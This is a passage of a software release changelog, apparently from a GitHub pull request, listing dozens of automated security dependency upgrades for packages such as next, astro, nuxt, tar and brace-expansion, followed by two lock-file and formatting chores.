* **deps:** update dependency @sveltejs/kit@<=2.57.0 to >=2.70.2 [security] ([#330](#330)) ([b0a4bfd](b0a4bfd))
* **deps:** update dependency @sveltejs/kit@>=2.0.0 <2.20.6 to >=2.70.2 [security] ([#331](#331)) ([885ca56](885ca56))
* **deps:** update dependency astro@<=5.15.6 to v7 [security] ([#299](#299)) ([390e511](390e511))
* **deps:** update dependency astro@<5.14.3 to >=6.4.8 [security] ([#300](#300)) ([4b3efa8](4b3efa8))
* **deps:** update dependency astro@<5.15.8 to >=6.4.8 [security] ([#301](#301)) ([aededa5](aededa5))
* **deps:** update dependency astro@<5.15.8 to v7 [security] ([#412](#412)) ([1b66e60](1b66e60))
* **deps:** update dependency astro@<5.15.9 to >=6.4.8 [security] ([#302](#302)) ([21b224a](21b224a))
* **deps:** update dependency astro@<5.15.9 to v7 [security] ([#413](#413)) ([c20e6c6](c20e6c6))
* **deps:** update dependency astro@<6.1.10 to >=6.4.8 [security] ([#304](#304)) ([b1c879a](b1c879a))
* **deps:** update dependency astro@<6.1.10 to v7 [security] ([#415](#415)) ([78e66eb](78e66eb))
* **deps:** update dependency astro@<6.1.6 to >=6.4.8 [security] ([#303](#303)) ([ef232a0](ef232a0))
* **deps:** update dependency astro@<6.1.6 to v7 [security] ([#414](#414)) ([c2f36b5](c2f36b5))
* **deps:** update dependency astro@>=2.10.10 <5.18.1 to >=6.4.8 [security] ([#305](#305)) ([51eae66](51eae66))
* **deps:** update dependency astro@>=2.10.10 <5.18.1 to v7 [security] ([#403](#403)) ([1ea12e9](1ea12e9))
* **deps:** update dependency astro@>=2.16.0 <5.15.5 to >=6.4.8 [security] ([#306](#306)) ([4fd07f6](4fd07f6))
* **deps:** update dependency astro@>=2.16.0 <5.15.5 to v7 [security] ([#404](#404)) ([3a51ad0](3a51ad0))
* **deps:** update dependency astro@>=5.0.0-alpha.0 <5.13.2 to >=6.4.8 [security] ([#307](#307)) ([ac1639c](ac1639c))
* **deps:** update dependency astro@>=5.0.0-alpha.0 <5.13.2 to v7 [security] ([#405](#405)) ([f883968](f883968))
* **deps:** update dependency body-parser@<1.20.3 to >=1.20.6 [security] ([#311](#311)) ([310a672](310a672))
* **deps:** update dependency body-parser@<1.20.3 to v2 [security] ([#408](#408)) ([19e3663](19e3663))
* **deps:** update dependency brace-expansion@<1.1.13 to >=1.1.18 [security] ([#309](#309)) ([1e4f0f5](1e4f0f5))
* **deps:** update dependency brace-expansion@<1.1.13 to v2 [security] ([#406](#406)) ([3fc16d8](3fc16d8))
* **deps:** update dependency brace-expansion@<1.1.13 to v3 [security] ([#416](#416)) ([ca94d94](ca94d94))
* **deps:** update dependency brace-expansion@<1.1.13 to v4 [security] ([#419](#419)) ([c1a4004](c1a4004))
* **deps:** update dependency brace-expansion@<1.1.13 to v5 [security] ([#422](#422)) ([007be58](007be58))
* **deps:** update dependency brace-expansion@>=1.0.0 <=1.1.11 to >=1.1.18 [security] ([#310](#310)) ([ff22c18](ff22c18))
* **deps:** update dependency brace-expansion@>=1.0.0 <=1.1.11 to v2 [security] ([#407](#407)) ([c34bcda](c34bcda))
* **deps:** update dependency brace-expansion@>=1.0.0 <=1.1.11 to v3 [security] ([#417](#417)) ([78f61f9](78f61f9))
* **deps:** update dependency brace-expansion@>=1.0.0 <=1.1.11 to v4 [security] ([#420](#420)) ([2464bd7](2464bd7))
* **deps:** update dependency brace-expansion@>=1.0.0 <=1.1.11 to v5 [security] ([#423](#423)) ([1801dbe](1801dbe))
* **deps:** update dependency fast-uri@<=3.1.0 to >=3.1.5 [security] ([#316](#316)) ([305bff7](305bff7))
* **deps:** update dependency fast-uri@<=3.1.1 to >=3.1.5 [security] ([#317](#317)) ([f17b009](f17b009))
* **deps:** update dependency hono@<4.12.25 to >=4.12.34 [security] ([#312](#312)) ([812ee1c](812ee1c))
* **deps:** update dependency immutable@>=4.0.0-rc.1 <4.3.8 to >=5.1.9 [security] ([#314](#314)) ([28a49b5](28a49b5))
* **deps:** update dependency immutable@>=5.0.0 <5.1.5 to >=5.1.9 [security] ([#315](#315)) ([95a7cdf](95a7cdf))
* **deps:** update dependency ip-address@<=10.1.0 to >=10.2.2 [security] ([#366](#366)) ([9d6f81e](9d6f81e))
* **deps:** update dependency ip-address@<=10.1.0 to >=10.5.0 [security] ([#399](#399)) ([cabff7e](cabff7e))
* **deps:** update dependency js-yaml@<=4.1.1 to >=4.3.1 [security] ([#332](#332)) ([59ebe41](59ebe41))
* **deps:** update dependency js-yaml@>=4.0.0 <4.1.1 to >=4.3.1 [security] ([#333](#333)) ([0720f4c](0720f4c))
* **deps:** update dependency nanoid@<3.3.8 to >=3.3.18 [security] ([#375](#375)) ([bec65e0](bec65e0))
* **deps:** update dependency next@>=10.0.0 <15.5.10 to >=15.5.23 [security] ([#336](#336)) ([b14de33](b14de33))
* **deps:** update dependency next@>=10.0.0 <15.5.10 to v16 [security] ([#383](#383)) ([5f2c9f4](5f2c9f4))
* **deps:** update dependency next@>=10.0.0 <15.5.14 to >=15.5.23 [security] ([#337](#337)) ([c08c1d3](c08c1d3))
* **deps:** update dependency next@>=10.0.0 <15.5.14 to v16 [security] ([#384](#384)) ([398f463](398f463))
* **deps:** update dependency next@>=10.0.0 <15.5.16 to >=15.5.23 [security] ([#338](#338)) ([32902ae](32902ae))
* **deps:** update dependency next@>=12.2.0 <15.5.16 to >=15.5.23 [security] ([#339](#339)) ([95794be](95794be))
* **deps:** update dependency next@>=13.0.0 <15.5.15 to >=15.5.23 [security] ([#340](#340)) ([446ac42](446ac42))
* **deps:** update dependency next@>=13.0.0 <15.5.16 to >=15.5.23 [security] ([#341](#341)) ([fe1bf79](fe1bf79))
* **deps:** update dependency next@>=13.4.0 <15.5.16 to >=15.5.23 [security] ([#342](#342)) ([6795985](6795985))
* **deps:** update dependency next@>=13.4.0 <15.5.16 to v16 [security] ([#381](#381)) ([6ba9b17](6ba9b17))
* **deps:** update dependency next@>=13.4.13 <15.5.16 to >=15.5.23 [security] ([#344](#344)) ([03724c5](03724c5))
* **deps:** update dependency next@>=13.4.13 <15.5.16 to v16 [security] ([#386](#386)) ([83e2c6a](83e2c6a))
* **deps:** update dependency next@>=13.4.6 <15.5.16 to >=15.5.23 [security] ([#343](#343)) ([c9aa1b8](c9aa1b8))
* **deps:** update dependency next@>=13.4.6 <15.5.16 to v16 [security] ([#385](#385)) ([ceddf47](ceddf47))
* **deps:** update dependency next@>=14.2.0 <15.5.16 to >=15.5.23 [security] ([#345](#345)) ([7c12d4a](7c12d4a))
* **deps:** update dependency next@>=14.2.0 <15.5.16 to v16 [security] ([#387](#387)) ([051039f](051039f))
* **deps:** update dependency next@>=15.0.0 <=15.4.4 to >=15.5.23 [security] ([#346](#346)) ([b63b535](b63b535))
* **deps:** update dependency next@>=15.0.0 <=15.4.4 to v16 [security] ([#388](#388)) ([da58d8b](da58d8b))
* **deps:** update dependency next@>=15.0.0 <15.1.2 to >=15.5.23 [security] ([#347](#347)) ([358ceaf](358ceaf))
* **deps:** update dependency next@>=15.0.0 <15.1.2 to v16 [security] ([#389](#389)) ([013ca1c](013ca1c))
* **deps:** update dependency next@>=15.0.0 <15.1.6 to >=15.5.23 [security] ([#348](#348)) ([3c861ba](3c861ba))
* **deps:** update dependency next@>=15.0.0 <15.1.6 to v16 [security] ([#390](#390)) ([823d871](823d871))
* **deps:** update dependency next@>=15.0.0 <15.2.2 to >=15.5.23 [security] ([#349](#349)) ([1457d9f](1457d9f))
* **deps:** update dependency next@>=15.0.0 <15.2.2 to v16 [security] ([#391](#391)) ([2593ec4](2593ec4))
* **deps:** update dependency next@>=15.0.0 <15.2.3 to >=15.5.23 [security] ([#350](#350)) ([f0d43fd](f0d43fd))
* **deps:** update dependency next@>=15.0.0 <15.2.3 to v16 [security] ([#392](#392)) ([4e6d492](4e6d492))
* **deps:** update dependency next@>=15.0.0 <15.5.16 to >=15.5.23 [security] ([#351](#351)) ([a8a04c3](a8a04c3))
* **deps:** update dependency next@>=15.0.0-canary.0 <15.4.7 to >=15.5.23 [security] ([#352](#352)) ([a310acc](a310acc))
* **deps:** update dependency next@>=15.0.4-canary.51 <15.1.8 to >=15.5.23 [security] ([#353](#353)) ([a0a1766](a0a1766))
* **deps:** update dependency next@>=15.1.0-canary.0 <15.1.9 to >=15.5.23 [security] ([#354](#354)) ([c631912](c631912))
* **deps:** update dependency next@>=15.1.1-canary.0 <15.1.10 to >=15.5.23 [security] ([#355](#355)) ([afe9af6](afe9af6))
* **deps:** update dependency next@>=15.1.1-canary.0 <15.1.12 to >=15.5.23 [security] ([#356](#356)) ([028e577](028e577))
* **deps:** update dependency next@>=9.5.0 <15.5.13 to >=15.5.23 [security] ([#335](#335)) ([3a409d6](3a409d6))
* **deps:** update dependency next@>=9.5.0 <15.5.13 to v16 [security] ([#382](#382)) ([b53de81](b53de81))
* **deps:** update dependency nuxt@>=3.0.0 <3.16.0 to >=4.4.8 [security] ([#369](#369)) ([17a7659](17a7659))
* **deps:** update dependency nuxt@>=3.0.0 <3.16.0 to >=4.5.2 [security] ([#400](#400)) ([5accda0](5accda0))
* **deps:** update dependency nuxt@>=3.1.0 <=3.21.5 to >=4.4.8 [security] ([#370](#370)) ([3e3006f](3e3006f))
* **deps:** update dependency nuxt@>=3.1.0 <=3.21.5 to >=4.5.2 [security] ([#401](#401)) ([9b56a6e](9b56a6e))
* **deps:** update dependency nuxt@>=3.4.3 <=3.21.5 to >=4.4.8 [security] ([#371](#371)) ([b8ec514](b8ec514))
* **deps:** update dependency nuxt@>=3.4.3 <=3.21.5 to >=4.5.2 [security] ([#402](#402)) ([825a509](825a509))
* **deps:** update dependency nuxt@>=3.6.0 <3.19.0 to >=4.4.8 [security] ([#372](#372)) ([513f91e](513f91e))
* **deps:** update dependency postcss@<8.5.10 to >=8.5.18 [security] ([#358](#358)) ([938be88](938be88))
* **deps:** update dependency postcss@<8.5.10 to >=8.5.26 [security] ([#376](#376)) ([14935a6](14935a6))
* **deps:** update dependency svgo@>=3.0.0 <3.3.3 to >=3.3.4 [security] ([#313](#313)) ([b7745dd](b7745dd))
* **deps:** update dependency svgo@>=3.0.0 <3.3.3 to v4 [security] ([#409](#409)) ([6c4d8e0](6c4d8e0))
* **deps:** update dependency tar@<=7.5.10 to >=7.5.22 [security] ([#321](#321)) ([2a0d62a](2a0d62a))
* **deps:** update dependency tar@<=7.5.2 to >=7.5.22 [security] ([#318](#318)) ([5cab03e](5cab03e))
* **deps:** update dependency tar@<=7.5.3 to >=7.5.22 [security] ([#319](#319)) ([57cb914](57cb914))
* **deps:** update dependency tar@<=7.5.9 to >=7.5.22 [security] ([#320](#320)) ([3e7262b](3e7262b))
* **deps:** update dependency tar@<6.2.1 to >=7.5.22 [security] ([#322](#322)) ([60dcad8](60dcad8))
* **deps:** update dependency tar@<7.5.7 to >=7.5.22 [security] ([#323](#323)) ([58b7381](58b7381))
* **deps:** update dependency tar@<7.5.8 to >=7.5.22 [security] ([#324](#324)) ([21d91ae](21d91ae))
* **deps:** update dependency tar@=7.5.1 to >=7.5.22 [security] ([#325](#325)) ([89bb7a6](89bb7a6))
* **deps:** update dependency undici@>=7.0.0 <7.28.0 to >=7.29.0 [security] ([#367](#367)) ([2c5c65c](2c5c65c))
* **deps:** update dependency undici@>=7.0.0 <7.28.0 to v8 [security] ([#410](#410)) ([87970b6](87970b6))
* **deps:** update dependency webpack-dev-server@<=5.2.0 to >=5.2.6 [security] ([#326](#326)) ([3d30b78](3d30b78))
* **deps:** update dependency webpack-dev-server@<=5.2.3 to >=5.2.6 [security] ([#327](#327)) ([be5a7e9](be5a7e9))
* **deps:** update patch updates ([#297](#297)) ([ddf53ab](ddf53ab))

### Miscellaneous Chores

* **deps:** lock file maintenance ([b120570](b120570))
* format pnpm-workspace.yaml with prettier ([#424](#424)) ([fd3caa3](fd3caa3))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant